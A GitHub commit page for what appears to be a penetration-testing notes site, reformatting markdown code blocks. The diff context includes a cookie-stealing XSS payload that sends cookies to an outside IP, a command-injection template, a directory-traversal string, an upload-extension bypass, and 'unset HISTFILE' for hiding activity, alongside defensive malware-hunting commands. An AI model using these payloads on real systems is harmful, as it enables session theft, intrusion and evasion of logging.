Skip to content

Commit e935c32

Browse files
committed
Updated formatting
1 parent e0a56ad commit e935c32

File tree

5 files changed

+23
-9
lines changed

5 files changed

+23
-9
lines changed

content/ops/exploitation/_index.md

+9-3
Original file line numberDiff line numberDiff line change
@@ -161,19 +161,25 @@ you could print sensitive values that may only be normally accessible by the app
161161

162162
#### Code Injection (for input that will be processed directly in a shell)
163163

164-
`<normal input> & <command>`
164+
```
165+
<normal input> & <command>
166+
```
165167

166168
### IIS 6, circumvent file extension validation
167169

168170
Add `;.jpg` (or other valid ext) to file being uploaded
169171

170172
### PHP Directory Traversal
171173

172-
`index.php?page=./../../../file`
174+
```
175+
index.php?page=./../../../file
176+
```
173177

174178
#### Cookies
175179

176-
`<script>window.location='http://10.1.1.1/?'+document.cookie;</script>`
180+
```
181+
<script>window.location='http://10.1.1.1/?'+document.cookie;</script>
182+
```
177183

178184
#### Simple Cookie Stealer
179185

content/ops/post_exploitation/_index.md

+3-1
Original file line numberDiff line numberDiff line change
@@ -79,7 +79,9 @@ find /var/log -type f -mmin -30 2> /dev/null
7979

8080
### Prevent shell history
8181

82-
`unset HISTFILE`
82+
```
83+
unset HISTFILE
84+
```
8385

8486
### Clean plain text logs
8587

content/ops/redirection/_index.md

+1-1
Original file line numberDiff line numberDiff line change
@@ -19,7 +19,7 @@ weight = 5
1919
### Applications
2020

2121
||fpipe|socat|portproxy|iptables|
22-
|----|----|----|----|----|
22+
|:----|:----:|:----:|:----:|:----:|
2323
|Redirect TCP|X|X|X|X|
2424
|Redirect UDP||X||X|
2525
|Convert TCP <> UDP||X|||

content/security/malware/_index.md

+9-3
Original file line numberDiff line numberDiff line change
@@ -97,7 +97,9 @@ hexeditor <output_file>
9797

9898
Unpack an exe
9999

100-
`upx -d <executable> -o <output_file>`
100+
```
101+
upx -d <executable> -o <output_file>
102+
```
101103

102104
Find trojanized UNIX commands
103105

@@ -114,8 +116,12 @@ find / -name '*.service' | (while read -r path; do ls -lHAtrcd --time-style=long
114116

115117
Service files
116118

117-
`find / -name '*.service' | (while read -r path; do ls -lHAtrcd --time-style=long-iso $path; done) | sort -k 6 | uniq -c -f 5 -w 16`
119+
```
120+
find / -name '*.service' | (while read -r path; do ls -lHAtrcd --time-style=long-iso $path; done) | sort -k 6 | uniq -c -f 5 -w 16
121+
```
118122

119123
Hash a file in Windows
120124

121-
`certutil -hashfile <file>`
125+
```
126+
certutil -hashfile <file>
127+
```

0 commit comments

Comments
 (0)